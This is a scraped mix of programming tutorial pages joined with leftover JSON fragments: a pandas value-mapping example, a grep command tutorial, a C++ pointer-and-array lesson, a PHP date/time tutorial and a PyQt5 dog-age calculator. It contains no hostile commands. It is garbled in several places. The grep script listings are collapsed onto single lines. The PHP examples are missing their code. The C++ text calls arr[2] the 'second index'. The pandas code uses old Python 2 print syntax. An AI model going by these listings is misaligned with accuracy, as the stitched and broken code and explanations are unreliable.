"text": "import pandas as pd\n\n# Create DataFrame\ndataFrame = pd.DataFrame(\n {\n \"Student\": ['Jack', 'Robin', 'Ted', 'Scarlett', 'Kat'],\"Result\": ['Pass', 'Fail', 'Fail', 'Pass', 'Pass']\n }\n)\n\nprint\"DataFrame ...\\n\",dataFrame\n\n# reshaping into numbers\ndataFrame['Result'] = dataFrame['Result'].map({'Pass': 1,'Fail': 0, })\n\nprint\"\\nReshaped DataFrame ...\\n\",dataFrame"
},
{
"code": null,
"e": 2038,
"s": 1999,
"text": "This will produce the following output"
},
{
"code": null,
"e": 2316,
"s": 2038,
"text": "DataFrame ...\n Result Student\n0 Pass Jack\n1 Fail Robin\n2 Fail Ted\n3 Pass Scarlett\n4 Pass Kat\n\nReshaped DataFrame ...\n Result Student\n0 1 Jack\n1 0 Robin\n2 0 Ted\n3 1 Scarlett\n4 1 Kat"
}
] |
grep - Unix, Linux Command
|
grep - print lines matching a pattern
grep [OPTIONS] PATTERN [FILE...]
grep [OPTIONS] [-e PATTERN | -f FILE] [FILE...]
Example-1:
To Search for the given string in a single file test.sh
$ cat test.sh#!/bin/bashfun() echo "This is a test." # Terminate our shell script with success message exit 1fun()
from above file grep exit:
$ grep "exit" demo_file
output:
exit 1
Example-2:
To Checking for the given string in multiple files: in this case test.sh and test1.sh
$ cat test.sh#!/bin/bashfun() echo "This is a test." # Terminate our shell script with success message exit 1fun()
$ cat test1.sh#!/bin/bashfun() echo "This is a test1." # Terminate our shell script with success message exit 0fun()
grep exit in both files test.sh and test1.sh:
$ grep exit test*
output:
test1.sh: exit 0test.sh: exit 1
Example-3:
To Case insensitive search using grep -i, added EXIT in test1.sh
$ cat test1.sh#!/bin/bashfun() echo "This is a test1." # Terminate our shell script with success message, EXIT with 0 exit 0fun()
$ grep exit test1.shtest1.sh: exit 0$ grep -i exit test*
output:
test1.sh: # Terminate our shell script with success message, EXIT with 0test1.sh: exit 0
two lines with -i option, as its case insensitive.
output:
echo "This is a test1."
Example-5:
* To Checking for full words, not for sub-strings using grep -w
$ grep -w "exit" test.sh
output:
exit 1
Note:
$ grep -w ex test.sh -> no output, as full word with ex is not in test.sh
for substring search we should not use -w option.
$ grep ex test.sh
exit 1
Example-6:
To Invert match using grep -v
$ cat test.sh#!/bin/bashfun() echo "This is a test." # Terminate our shell script with success message exit 1fun()
$ grep -v exit test.sh
output:
#!/bin/bashfun() echo "This is a test." # Terminate our shell script with success message
Note: exit statement is not seen in output.
Example-7:
To print line number of searched string
$ grep -n exit test.sh
output:
5: exit 1
129 Lectures
23 hours
Eduonix Learning Solutions
5 Lectures
4.5 hours
Frahaan Hussain
35 Lectures
2 hours
Pradeep D
41 Lectures
2.5 hours
Musab Zayadneh
46 Lectures
4 hours
GUHARAJANM
6 Lectures
4 hours
Uplatz
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 10615,
"s": 10577,
"text": "grep - print lines matching a pattern"
},
{
"code": null,
"e": 10696,
"s": 10615,
"text": "grep [OPTIONS] PATTERN [FILE...]\ngrep [OPTIONS] [-e PATTERN | -f FILE] [FILE...]"
},
{
"code": null,
"e": 10707,
"s": 10696,
"text": "Example-1:"
},
{
"code": null,
"e": 10763,
"s": 10707,
"text": "To Search for the given string in a single file test.sh"
},
{
"code": null,
"e": 10899,
"s": 10763,
"text": "$ cat test.sh#!/bin/bashfun() echo \"This is a test.\" # Terminate our shell script with success message exit 1fun()"
},
{
"code": null,
"e": 10926,
"s": 10899,
"text": "from above file grep exit:"
},
{
"code": null,
"e": 10950,
"s": 10926,
"text": "$ grep \"exit\" demo_file"
},
{
"code": null,
"e": 10958,
"s": 10950,
"text": "output:"
},
{
"code": null,
"e": 10973,
"s": 10958,
"text": " exit 1"
},
{
"code": null,
"e": 10984,
"s": 10973,
"text": "Example-2:"
},
{
"code": null,
"e": 11070,
"s": 10984,
"text": "To Checking for the given string in multiple files: in this case test.sh and test1.sh"
},
{
"code": null,
"e": 11206,
"s": 11070,
"text": "$ cat test.sh#!/bin/bashfun() echo \"This is a test.\" # Terminate our shell script with success message exit 1fun()"
},
{
"code": null,
"e": 11344,
"s": 11206,
"text": "$ cat test1.sh#!/bin/bashfun() echo \"This is a test1.\" # Terminate our shell script with success message exit 0fun()"
},
{
"code": null,
"e": 11390,
"s": 11344,
"text": "grep exit in both files test.sh and test1.sh:"
},
{
"code": null,
"e": 11408,
"s": 11390,
"text": "$ grep exit test*"
},
{
"code": null,
"e": 11416,
"s": 11408,
"text": "output:"
},
{
"code": null,
"e": 11461,
"s": 11416,
"text": "test1.sh: exit 0test.sh: exit 1"
},
{
"code": null,
"e": 11474,
"s": 11463,
"text": "Example-3:"
},
{
"code": null,
"e": 11539,
"s": 11474,
"text": "To Case insensitive search using grep -i, added EXIT in test1.sh"
},
{
"code": null,
"e": 11690,
"s": 11539,
"text": "$ cat test1.sh#!/bin/bashfun() echo \"This is a test1.\" # Terminate our shell script with success message, EXIT with 0 exit 0fun()"
},
{
"code": null,
"e": 11753,
"s": 11690,
"text": "$ grep exit test1.shtest1.sh: exit 0$ grep -i exit test*"
},
{
"code": null,
"e": 11761,
"s": 11753,
"text": "output:"
},
{
"code": null,
"e": 11862,
"s": 11761,
"text": "test1.sh: # Terminate our shell script with success message, EXIT with 0test1.sh: exit 0"
},
{
"code": null,
"e": 11913,
"s": 11862,
"text": "two lines with -i option, as its case insensitive."
},
{
"code": null,
"e": 11921,
"s": 11913,
"text": "output:"
},
{
"code": null,
"e": 11953,
"s": 11921,
"text": " echo \"This is a test1.\""
},
{
"code": null,
"e": 11964,
"s": 11953,
"text": "Example-5:"
},
{
"code": null,
"e": 12028,
"s": 11964,
"text": "* To Checking for full words, not for sub-strings using grep -w"
},
{
"code": null,
"e": 12053,
"s": 12028,
"text": "$ grep -w \"exit\" test.sh"
},
{
"code": null,
"e": 12061,
"s": 12053,
"text": "output:"
},
{
"code": null,
"e": 12076,
"s": 12061,
"text": " exit 1"
},
{
"code": null,
"e": 12082,
"s": 12076,
"text": "Note:"
},
{
"code": null,
"e": 12156,
"s": 12082,
"text": "$ grep -w ex test.sh -> no output, as full word with ex is not in test.sh"
},
{
"code": null,
"e": 12206,
"s": 12156,
"text": "for substring search we should not use -w option."
},
{
"code": null,
"e": 12224,
"s": 12206,
"text": "$ grep ex test.sh"
},
{
"code": null,
"e": 12238,
"s": 12224,
"text": " exit 1"
},
{
"code": null,
"e": 12249,
"s": 12238,
"text": "Example-6:"
},
{
"code": null,
"e": 12279,
"s": 12249,
"text": "To Invert match using grep -v"
},
{
"code": null,
"e": 12415,
"s": 12279,
"text": "$ cat test.sh#!/bin/bashfun() echo \"This is a test.\" # Terminate our shell script with success message exit 1fun()"
},
{
"code": null,
"e": 12439,
"s": 12415,
"text": "$ grep -v exit test.sh"
},
{
"code": null,
"e": 12447,
"s": 12439,
"text": "output:"
},
{
"code": null,
"e": 12551,
"s": 12447,
"text": "#!/bin/bashfun() echo \"This is a test.\" # Terminate our shell script with success message"
},
{
"code": null,
"e": 12595,
"s": 12551,
"text": "Note: exit statement is not seen in output."
},
{
"code": null,
"e": 12606,
"s": 12595,
"text": "Example-7:"
},
{
"code": null,
"e": 12646,
"s": 12606,
"text": "To print line number of searched string"
},
{
"code": null,
"e": 12669,
"s": 12646,
"text": "$ grep -n exit test.sh"
},
{
"code": null,
"e": 12677,
"s": 12669,
"text": "output:"
},
{
"code": null,
"e": 12692,
"s": 12677,
"text": "5: exit 1"
},
{
"code": null,
"e": 12729,
"s": 12694,
"text": "\n 129 Lectures \n 23 hours \n"
},
{
"code": null,
"e": 12757,
"s": 12729,
"text": " Eduonix Learning Solutions"
},
{
"code": null,
"e": 12791,
"s": 12757,
"text": "\n 5 Lectures \n 4.5 hours \n"
},
{
"code": null,
"e": 12808,
"s": 12791,
"text": " Frahaan Hussain"
},
{
"code": null,
"e": 12841,
"s": 12808,
"text": "\n 35 Lectures \n 2 hours \n"
},
{
"code": null,
"e": 12852,
"s": 12841,
"text": " Pradeep D"
},
{
"code": null,
"e": 12887,
"s": 12852,
"text": "\n 41 Lectures \n 2.5 hours \n"
},
{
"code": null,
"e": 12903,
"s": 12887,
"text": " Musab Zayadneh"
},
{
"code": null,
"e": 12936,
"s": 12903,
"text": "\n 46 Lectures \n 4 hours \n"
},
{
"code": null,
"e": 12948,
"s": 12936,
"text": " GUHARAJANM"
},
{
"code": null,
"e": 12980,
"s": 12948,
"text": "\n 6 Lectures \n 4 hours \n"
},
{
"code": null,
"e": 12988,
"s": 12980,
"text": " Uplatz"
},
{
"code": null,
"e": 12995,
"s": 12988,
"text": " Print"
},
{
"code": null,
"e": 13006,
"s": 12995,
"text": " Add Notes"
}
] |
C++ Program to Access Elements of an Array Using Pointer
|
Pointers store the memory location or address of variables. In other words, pointers reference a memory location and obtaining the value stored at that memory location is known as dereferencing the pointer.
A program that uses pointers to access a single element of an array is given as follows −
Live Demo
#include <iostream>
using namespace std;
int main() {
int arr[5] = {5, 2, 9, 4, 1};
int *ptr = &arr[2];
cout<<"The value in the second index of the array is: "<< *ptr;
return 0;
}
The value in the second index of the array is: 9
In the above program, the pointer ptr stores the address of the element at the third index in the array i.e 9.
This is shown in the following code snippet.
int *ptr = &arr[2];
The pointer is dereferenced and the value 9 is displayed by using the indirection (*) operator. This is demonstrated as follows.
cout<<"The value in the second index of the array is: "<< *ptr;
Another program in which a single pointer is used to access all the elements of the array is given as follows.
Live Demo
#include <iostream>
using namespace std;
int main() {
int arr[5] = {1, 2, 3, 4, 5};
int *ptr = &arr[0];
cout<<"The values in the array are: ";
for(int i = 0; i < 5; i++) {
cout<< *ptr <<" ";
ptr++;
}
return 0;
}
The values in the array are: 1 2 3 4 5
In the above program, the pointer ptr stores the address of the first element of the array. This is done as follows.
int *ptr = &arr[0];
After this, a for loop is used to dereference the pointer and print all the elements in the array. The pointer is incremented in each iteration of the loop i.e at each loop iteration, the pointer points to the next element of the array. Then that array value is printed. This can be seen in the following code snippet.
for(int i = 0; i < 5; i++) {
cout<< *ptr <<" ";
ptr++;
}
|
[
{
"code": null,
"e": 1269,
"s": 1062,
"text": "Pointers store the memory location or address of variables. In other words, pointers reference a memory location and obtaining the value stored at that memory location is known as dereferencing the pointer."
},
{
"code": null,
"e": 1359,
"s": 1269,
"text": "A program that uses pointers to access a single element of an array is given as follows −"
},
{
"code": null,
"e": 1370,
"s": 1359,
"text": " Live Demo"
},
{
"code": null,
"e": 1562,
"s": 1370,
"text": "#include <iostream>\nusing namespace std;\nint main() {\n int arr[5] = {5, 2, 9, 4, 1};\n int *ptr = &arr[2];\n cout<<\"The value in the second index of the array is: \"<< *ptr;\n return 0;\n}"
},
{
"code": null,
"e": 1611,
"s": 1562,
"text": "The value in the second index of the array is: 9"
},
{
"code": null,
"e": 1722,
"s": 1611,
"text": "In the above program, the pointer ptr stores the address of the element at the third index in the array i.e 9."
},
{
"code": null,
"e": 1767,
"s": 1722,
"text": "This is shown in the following code snippet."
},
{
"code": null,
"e": 1787,
"s": 1767,
"text": "int *ptr = &arr[2];"
},
{
"code": null,
"e": 1916,
"s": 1787,
"text": "The pointer is dereferenced and the value 9 is displayed by using the indirection (*) operator. This is demonstrated as follows."
},
{
"code": null,
"e": 1980,
"s": 1916,
"text": "cout<<\"The value in the second index of the array is: \"<< *ptr;"
},
{
"code": null,
"e": 2091,
"s": 1980,
"text": "Another program in which a single pointer is used to access all the elements of the array is given as follows."
},
{
"code": null,
"e": 2102,
"s": 2091,
"text": " Live Demo"
},
{
"code": null,
"e": 2344,
"s": 2102,
"text": "#include <iostream>\nusing namespace std;\nint main() {\n int arr[5] = {1, 2, 3, 4, 5};\n int *ptr = &arr[0];\n cout<<\"The values in the array are: \";\n for(int i = 0; i < 5; i++) {\n cout<< *ptr <<\" \";\n ptr++;\n }\n return 0;\n}"
},
{
"code": null,
"e": 2383,
"s": 2344,
"text": "The values in the array are: 1 2 3 4 5"
},
{
"code": null,
"e": 2500,
"s": 2383,
"text": "In the above program, the pointer ptr stores the address of the first element of the array. This is done as follows."
},
{
"code": null,
"e": 2520,
"s": 2500,
"text": "int *ptr = &arr[0];"
},
{
"code": null,
"e": 2839,
"s": 2520,
"text": "After this, a for loop is used to dereference the pointer and print all the elements in the array. The pointer is incremented in each iteration of the loop i.e at each loop iteration, the pointer points to the next element of the array. Then that array value is printed. This can be seen in the following code snippet."
},
{
"code": null,
"e": 2902,
"s": 2839,
"text": "for(int i = 0; i < 5; i++) {\n cout<< *ptr <<\" \";\n ptr++;\n}"
}
] |
PHP Date and Time
|
The PHP date() function is used to format a date and/or a time.
The PHP date() function formats a timestamp to a more readable date and time.
A timestamp is a sequence of
characters, denoting the date and/or time at which a certain event occurred.
The required format parameter of the date() function specifies how to format the date
(or time).
Here are some characters that are commonly used for dates:
d - Represents the day of the month (01 to 31)
m - Represents a month (01 to 12)
Y - Represents a year (in four digits)
l (lowercase 'L') - Represents the day of the week
Other characters, like"/", ".", or "-" can also be inserted between the
characters to add additional formatting.
The example below formats today's date in three different ways:
Use the date() function to automatically update the copyright year on your
website:
Here are some characters that are commonly used for times:
H - 24-hour format of an hour (00 to 23)
h - 12-hour format of an hour with leading zeros (01 to 12)
i - Minutes with leading zeros (00 to 59)
s - Seconds with leading zeros (00 to 59)
a - Lowercase Ante meridiem and Post meridiem (am or pm)
The example below outputs the current time in the specified format:
Note that the PHP date() function will return the current date/time of the
server!
If the time you got back from the code is not correct, it's probably because your server is in another country or set up
for a different timezone.
So, if you need the time to be correct according to a specific
location, you can set the timezone you want to use.
The example below sets the timezone to "America/New_York", then outputs the current time in the specified format:
The optional timestamp parameter in the date() function specifies a timestamp. If
omitted, the current date and time will be used (as in the
examples above).
The PHP mktime() function returns the Unix timestamp for a date. The Unix timestamp contains the number of seconds between the Unix Epoch
(January 1 1970 00:00:00 GMT) and the time specified.
The example below creates a date and time with the
date() function from a number of parameters in the
mktime() function:
The PHP strtotime() function is used to convert a human readable
date string into a
Unix timestamp (the number of seconds since January 1 1970 00:00:00 GMT).
The example below creates a date and time from the strtotime() function:
PHP is quite clever about converting a string to a date, so you can put in
various values:
However, strtotime() is not perfect, so remember to check the strings you put in there.
The example below outputs the dates for the next six Saturdays:
The example below outputs the number of days until 4th of July:
For a complete reference of all date functions, go to our complete
PHP Date Reference.
The reference contains a brief description, and examples of use, for each function!
Use the correct date function to output the weekday name of today (monday, tuesday etc.).
echo ;
We just launchedW3Schools videos
Get certifiedby completinga course today!
If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail:
help@w3schools.com
Your message has been sent to W3Schools.
|
[
{
"code": null,
"e": 64,
"s": 0,
"text": "The PHP date() function is used to format a date and/or a time."
},
{
"code": null,
"e": 142,
"s": 64,
"text": "The PHP date() function formats a timestamp to a more readable date and time."
},
{
"code": null,
"e": 251,
"s": 144,
"text": "A timestamp is a sequence of \ncharacters, denoting the date and/or time at which a certain event occurred."
},
{
"code": null,
"e": 349,
"s": 251,
"text": "The required format parameter of the date() function specifies how to format the date \n(or time)."
},
{
"code": null,
"e": 408,
"s": 349,
"text": "Here are some characters that are commonly used for dates:"
},
{
"code": null,
"e": 456,
"s": 408,
"text": "d - Represents the day of the month (01 to 31) "
},
{
"code": null,
"e": 490,
"s": 456,
"text": "m - Represents a month (01 to 12)"
},
{
"code": null,
"e": 529,
"s": 490,
"text": "Y - Represents a year (in four digits)"
},
{
"code": null,
"e": 580,
"s": 529,
"text": "l (lowercase 'L') - Represents the day of the week"
},
{
"code": null,
"e": 694,
"s": 580,
"text": "Other characters, like\"/\", \".\", or \"-\" can also be inserted between the \ncharacters to add additional formatting."
},
{
"code": null,
"e": 758,
"s": 694,
"text": "The example below formats today's date in three different ways:"
},
{
"code": null,
"e": 843,
"s": 758,
"text": "Use the date() function to automatically update the copyright year on your \nwebsite:"
},
{
"code": null,
"e": 902,
"s": 843,
"text": "Here are some characters that are commonly used for times:"
},
{
"code": null,
"e": 943,
"s": 902,
"text": "H - 24-hour format of an hour (00 to 23)"
},
{
"code": null,
"e": 1004,
"s": 943,
"text": "h - 12-hour format of an hour with leading zeros (01 to 12) "
},
{
"code": null,
"e": 1046,
"s": 1004,
"text": "i - Minutes with leading zeros (00 to 59)"
},
{
"code": null,
"e": 1088,
"s": 1046,
"text": "s - Seconds with leading zeros (00 to 59)"
},
{
"code": null,
"e": 1145,
"s": 1088,
"text": "a - Lowercase Ante meridiem and Post meridiem (am or pm)"
},
{
"code": null,
"e": 1213,
"s": 1145,
"text": "The example below outputs the current time in the specified format:"
},
{
"code": null,
"e": 1299,
"s": 1215,
"text": "Note that the PHP date() function will return the current date/time of the \nserver!"
},
{
"code": null,
"e": 1447,
"s": 1299,
"text": "If the time you got back from the code is not correct, it's probably because your server is in another country or set up \nfor a different timezone."
},
{
"code": null,
"e": 1564,
"s": 1447,
"text": "So, if you need the time to be correct according to a specific \nlocation, you can set the timezone you want to use. "
},
{
"code": null,
"e": 1678,
"s": 1564,
"text": "The example below sets the timezone to \"America/New_York\", then outputs the current time in the specified format:"
},
{
"code": null,
"e": 1838,
"s": 1678,
"text": "The optional timestamp parameter in the date() function specifies a timestamp. If \nomitted, the current date and time will be used (as in the \nexamples above)."
},
{
"code": null,
"e": 2031,
"s": 1838,
"text": "The PHP mktime() function returns the Unix timestamp for a date. The Unix timestamp contains the number of seconds between the Unix Epoch \n(January 1 1970 00:00:00 GMT) and the time specified."
},
{
"code": null,
"e": 2154,
"s": 2031,
"text": "The example below creates a date and time with the \ndate() function from a number of parameters in the \nmktime() function:"
},
{
"code": null,
"e": 2314,
"s": 2154,
"text": "The PHP strtotime() function is used to convert a human readable \ndate string into a \nUnix timestamp (the number of seconds since January 1 1970 00:00:00 GMT)."
},
{
"code": null,
"e": 2387,
"s": 2314,
"text": "The example below creates a date and time from the strtotime() function:"
},
{
"code": null,
"e": 2479,
"s": 2387,
"text": "PHP is quite clever about converting a string to a date, so you can put in \nvarious values:"
},
{
"code": null,
"e": 2567,
"s": 2479,
"text": "However, strtotime() is not perfect, so remember to check the strings you put in there."
},
{
"code": null,
"e": 2631,
"s": 2567,
"text": "The example below outputs the dates for the next six Saturdays:"
},
{
"code": null,
"e": 2695,
"s": 2631,
"text": "The example below outputs the number of days until 4th of July:"
},
{
"code": null,
"e": 2782,
"s": 2695,
"text": "For a complete reference of all date functions, go to our complete\nPHP Date Reference."
},
{
"code": null,
"e": 2866,
"s": 2782,
"text": "The reference contains a brief description, and examples of use, for each function!"
},
{
"code": null,
"e": 2956,
"s": 2866,
"text": "Use the correct date function to output the weekday name of today (monday, tuesday etc.)."
},
{
"code": null,
"e": 2964,
"s": 2956,
"text": "echo ;\n"
},
{
"code": null,
"e": 2997,
"s": 2964,
"text": "We just launchedW3Schools videos"
},
{
"code": null,
"e": 3039,
"s": 2997,
"text": "Get certifiedby completinga course today!"
},
{
"code": null,
"e": 3146,
"s": 3039,
"text": "If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail:"
},
{
"code": null,
"e": 3165,
"s": 3146,
"text": "help@w3schools.com"
}
] |
Dog Years Calculator using PyQt5 - GeeksforGeeks
|
01 Aug, 2020
In this article, we will see how we can create a dog year calculator using PyQt5. Dog year calculator will tell the age of a dog if the dog was human, the dog grew a lot faster than humans. Below is how the calculator will look like :
PyQt5 is a cross-platform GUI toolkit, a set of python bindings for Qt v5. One can develop an interactive desktop application with so much ease because of the tools and simplicity provided by this library. Below is the command to install the PyQt5
pip install PyQt5
GUI Implementation Steps :
Create a heading label that displays the calculator name. Create a label to show users to enter the age of the dog. Create a QSpinBox object for the user to enter the years. Create push-button for calculating the age. Create a label to show the calculated age.
Create a heading label that displays the calculator name.
Create a label to show users to enter the age of the dog.
Create a QSpinBox object for the user to enter the years.
Create push-button for calculating the age.
Create a label to show the calculated age.
Back-End Implementation :
Add an action to the push button. Set minimum and maximum values to the spin box. Inside the push button, an action gets the value of spin box. If the value is 1 then age is 15, if the value is 2 then age is 24 else age is increment by 4 for next years. Show the calculated age with the help of a label.
Add an action to the push button.
Set minimum and maximum values to the spin box.
Inside the push button, an action gets the value of spin box.
If the value is 1 then age is 15, if the value is 2 then age is 24 else age is increment by 4 for next years.
Show the calculated age with the help of a label.
Below is the implementation
Python3
# importing required librariesfrom PyQt5.QtWidgets import * from PyQt5 import QtCore, QtGuifrom PyQt5.QtGui import * from PyQt5.QtCore import * import datetimeimport sys # window classclass Window(QMainWindow): # Constructor def __init__(self): super().__init__() # setting title of the window self.setWindowTitle("Python ") # width of the window self.w_width = 400 # height of the window self.w_height = 400 # setting geometry of the window self.setGeometry(100, 100, self.w_width, self.w_height) # method calling self.UiComponents() # showing all the widgets self.show() # method for components creation def UiComponents(self): # creating head label head = QLabel("Dog Age Calculator", self) head.setWordWrap(True) # setting geometry of the head head.setGeometry(0, 10, 400, 60) # font work font = QFont('Times', 15) font.setBold(True) font.setItalic(True) font.setUnderline(True) # setting font to the head head.setFont(font) # setting alignment of the head head.setAlignment(Qt.AlignCenter) # setting color effect to the head color = QGraphicsColorizeEffect(self) color.setColor(Qt.darkCyan) head.setGraphicsEffect(color) # creating a label age_label = QLabel("Age of Dog ", self) # setting geometry to the label age_label.setGeometry(50, 120, 147, 40) # setting alignment age_label.setAlignment(Qt.AlignCenter) # setting stylesheet age_label.setStyleSheet("QLabel" "{" "border : 2px solid black;" "background : rgba(70, 70, 70, 35);" "}") age_label.setFont(QFont('Times', 9)) # creating a spin box self.age = QSpinBox(self) # setting geometry to the spin box self.age.setGeometry(203, 120, 147, 40) # setting maximum value of spin box self.age.setMaximum(20) # setting minimum value of spin box self.age.setMinimum(1) # setting suffix to the spin box self.age.setSuffix(" year(s)") # setting font and alignment self.age.setFont(QFont('Times', 9)) self.age.setAlignment(Qt.AlignCenter) # creating a push button calculate = QPushButton("Calculate Age", self) # setting geometry to the push button calculate.setGeometry(100, 200, 200, 40) # adding action to the button calculate.clicked.connect(self.calculate) # adding color effect to the push button color = QGraphicsColorizeEffect() color.setColor(Qt.blue) calculate.setGraphicsEffect(color) # creating a label to show result self.result = QLabel(self) # setting properties to result label self.result.setAlignment(Qt.AlignCenter) # setting geometry self.result.setGeometry(50, 280, 300, 70) # making it multi line self.result.setWordWrap(True) # setting stylesheet # adding border and background self.result.setStyleSheet("QLabel" "{" "border : 3px solid black;" "background : white;" "}") # setting font self.result.setFont(QFont('Arial', 11)) # method for calculating the dog's age def calculate(self): # getting the spin box value value = self.age.value() # if value is 1 if value == 1: # dog age is 15 d_age = 15 # if value is 2 elif value == 2: # dog age is 24 d_age = 24 # else dog age get incremented by 4 else: d_age = 24 + (value - 2) * 4 # showing age through label self.result.setText("If your dog were a human, it would be : " +str(d_age) + " years old !") # create pyqt5 appApp = QApplication(sys.argv) # create the instance of our Windowwindow = Window() # start the appsys.exit(App.exec())
Output :
Python-PyQt
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
How to Install PIP on Windows ?
Selecting rows in pandas DataFrame based on conditions
How to drop one or multiple columns in Pandas Dataframe
Python | Get unique values from a list
How To Convert Python Dictionary To JSON?
Check if element exists in list in Python
Python | os.path.join() method
Defaultdict in Python
Create a directory in Python
Python Classes and Objects
|
[
{
"code": null,
"e": 24212,
"s": 24184,
"text": "\n01 Aug, 2020"
},
{
"code": null,
"e": 24448,
"s": 24212,
"text": "In this article, we will see how we can create a dog year calculator using PyQt5. Dog year calculator will tell the age of a dog if the dog was human, the dog grew a lot faster than humans. Below is how the calculator will look like : "
},
{
"code": null,
"e": 24696,
"s": 24448,
"text": "PyQt5 is a cross-platform GUI toolkit, a set of python bindings for Qt v5. One can develop an interactive desktop application with so much ease because of the tools and simplicity provided by this library. Below is the command to install the PyQt5"
},
{
"code": null,
"e": 24715,
"s": 24696,
"text": "pip install PyQt5\n"
},
{
"code": null,
"e": 24743,
"s": 24715,
"text": "GUI Implementation Steps : "
},
{
"code": null,
"e": 25005,
"s": 24743,
"text": "Create a heading label that displays the calculator name. Create a label to show users to enter the age of the dog. Create a QSpinBox object for the user to enter the years. Create push-button for calculating the age. Create a label to show the calculated age. "
},
{
"code": null,
"e": 25064,
"s": 25005,
"text": "Create a heading label that displays the calculator name. "
},
{
"code": null,
"e": 25123,
"s": 25064,
"text": "Create a label to show users to enter the age of the dog. "
},
{
"code": null,
"e": 25182,
"s": 25123,
"text": "Create a QSpinBox object for the user to enter the years. "
},
{
"code": null,
"e": 25227,
"s": 25182,
"text": "Create push-button for calculating the age. "
},
{
"code": null,
"e": 25271,
"s": 25227,
"text": "Create a label to show the calculated age. "
},
{
"code": null,
"e": 25298,
"s": 25271,
"text": "Back-End Implementation : "
},
{
"code": null,
"e": 25603,
"s": 25298,
"text": "Add an action to the push button. Set minimum and maximum values to the spin box. Inside the push button, an action gets the value of spin box. If the value is 1 then age is 15, if the value is 2 then age is 24 else age is increment by 4 for next years. Show the calculated age with the help of a label. "
},
{
"code": null,
"e": 25638,
"s": 25603,
"text": "Add an action to the push button. "
},
{
"code": null,
"e": 25687,
"s": 25638,
"text": "Set minimum and maximum values to the spin box. "
},
{
"code": null,
"e": 25750,
"s": 25687,
"text": "Inside the push button, an action gets the value of spin box. "
},
{
"code": null,
"e": 25861,
"s": 25750,
"text": "If the value is 1 then age is 15, if the value is 2 then age is 24 else age is increment by 4 for next years. "
},
{
"code": null,
"e": 25912,
"s": 25861,
"text": "Show the calculated age with the help of a label. "
},
{
"code": null,
"e": 25941,
"s": 25912,
"text": "Below is the implementation "
},
{
"code": null,
"e": 25949,
"s": 25941,
"text": "Python3"
},
{
"code": "# importing required librariesfrom PyQt5.QtWidgets import * from PyQt5 import QtCore, QtGuifrom PyQt5.QtGui import * from PyQt5.QtCore import * import datetimeimport sys # window classclass Window(QMainWindow): # Constructor def __init__(self): super().__init__() # setting title of the window self.setWindowTitle(\"Python \") # width of the window self.w_width = 400 # height of the window self.w_height = 400 # setting geometry of the window self.setGeometry(100, 100, self.w_width, self.w_height) # method calling self.UiComponents() # showing all the widgets self.show() # method for components creation def UiComponents(self): # creating head label head = QLabel(\"Dog Age Calculator\", self) head.setWordWrap(True) # setting geometry of the head head.setGeometry(0, 10, 400, 60) # font work font = QFont('Times', 15) font.setBold(True) font.setItalic(True) font.setUnderline(True) # setting font to the head head.setFont(font) # setting alignment of the head head.setAlignment(Qt.AlignCenter) # setting color effect to the head color = QGraphicsColorizeEffect(self) color.setColor(Qt.darkCyan) head.setGraphicsEffect(color) # creating a label age_label = QLabel(\"Age of Dog \", self) # setting geometry to the label age_label.setGeometry(50, 120, 147, 40) # setting alignment age_label.setAlignment(Qt.AlignCenter) # setting stylesheet age_label.setStyleSheet(\"QLabel\" \"{\" \"border : 2px solid black;\" \"background : rgba(70, 70, 70, 35);\" \"}\") age_label.setFont(QFont('Times', 9)) # creating a spin box self.age = QSpinBox(self) # setting geometry to the spin box self.age.setGeometry(203, 120, 147, 40) # setting maximum value of spin box self.age.setMaximum(20) # setting minimum value of spin box self.age.setMinimum(1) # setting suffix to the spin box self.age.setSuffix(\" year(s)\") # setting font and alignment self.age.setFont(QFont('Times', 9)) self.age.setAlignment(Qt.AlignCenter) # creating a push button calculate = QPushButton(\"Calculate Age\", self) # setting geometry to the push button calculate.setGeometry(100, 200, 200, 40) # adding action to the button calculate.clicked.connect(self.calculate) # adding color effect to the push button color = QGraphicsColorizeEffect() color.setColor(Qt.blue) calculate.setGraphicsEffect(color) # creating a label to show result self.result = QLabel(self) # setting properties to result label self.result.setAlignment(Qt.AlignCenter) # setting geometry self.result.setGeometry(50, 280, 300, 70) # making it multi line self.result.setWordWrap(True) # setting stylesheet # adding border and background self.result.setStyleSheet(\"QLabel\" \"{\" \"border : 3px solid black;\" \"background : white;\" \"}\") # setting font self.result.setFont(QFont('Arial', 11)) # method for calculating the dog's age def calculate(self): # getting the spin box value value = self.age.value() # if value is 1 if value == 1: # dog age is 15 d_age = 15 # if value is 2 elif value == 2: # dog age is 24 d_age = 24 # else dog age get incremented by 4 else: d_age = 24 + (value - 2) * 4 # showing age through label self.result.setText(\"If your dog were a human, it would be : \" +str(d_age) + \" years old !\") # create pyqt5 appApp = QApplication(sys.argv) # create the instance of our Windowwindow = Window() # start the appsys.exit(App.exec())",
"e": 30255,
"s": 25949,
"text": null
},
{
"code": null,
"e": 30265,
"s": 30255,
"text": "Output : "
},
{
"code": null,
"e": 30277,
"s": 30265,
"text": "Python-PyQt"
},
{
"code": null,
"e": 30284,
"s": 30277,
"text": "Python"
},
{
"code": null,
"e": 30382,
"s": 30284,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 30391,
"s": 30382,
"text": "Comments"
},
{
"code": null,
"e": 30404,
"s": 30391,
"text": "Old Comments"
},
{
"code": null,
"e": 30436,
"s": 30404,
"text": "How to Install PIP on Windows ?"
},
{
"code": null,
"e": 30491,
"s": 30436,
"text": "Selecting rows in pandas DataFrame based on conditions"
},
{
"code": null,
"e": 30547,
"s": 30491,
"text": "How to drop one or multiple columns in Pandas Dataframe"
},
{
"code": null,
"e": 30586,
"s": 30547,
"text": "Python | Get unique values from a list"
},
{
"code": null,
"e": 30628,
"s": 30586,
"text": "How To Convert Python Dictionary To JSON?"
},
{
"code": null,
"e": 30670,
"s": 30628,
"text": "Check if element exists in list in Python"
},
{
"code": null,
"e": 30701,
"s": 30670,
"text": "Python | os.path.join() method"
},
{
"code": null,
"e": 30723,
"s": 30701,
"text": "Defaultdict in Python"
},
{
"code": null,
"e": 30752,
"s": 30723,
"text": "Create a directory in Python"
}
] |
Singular Value Decomposition with Example in R | by Kshitiz Sirohi | Towards Data Science
|
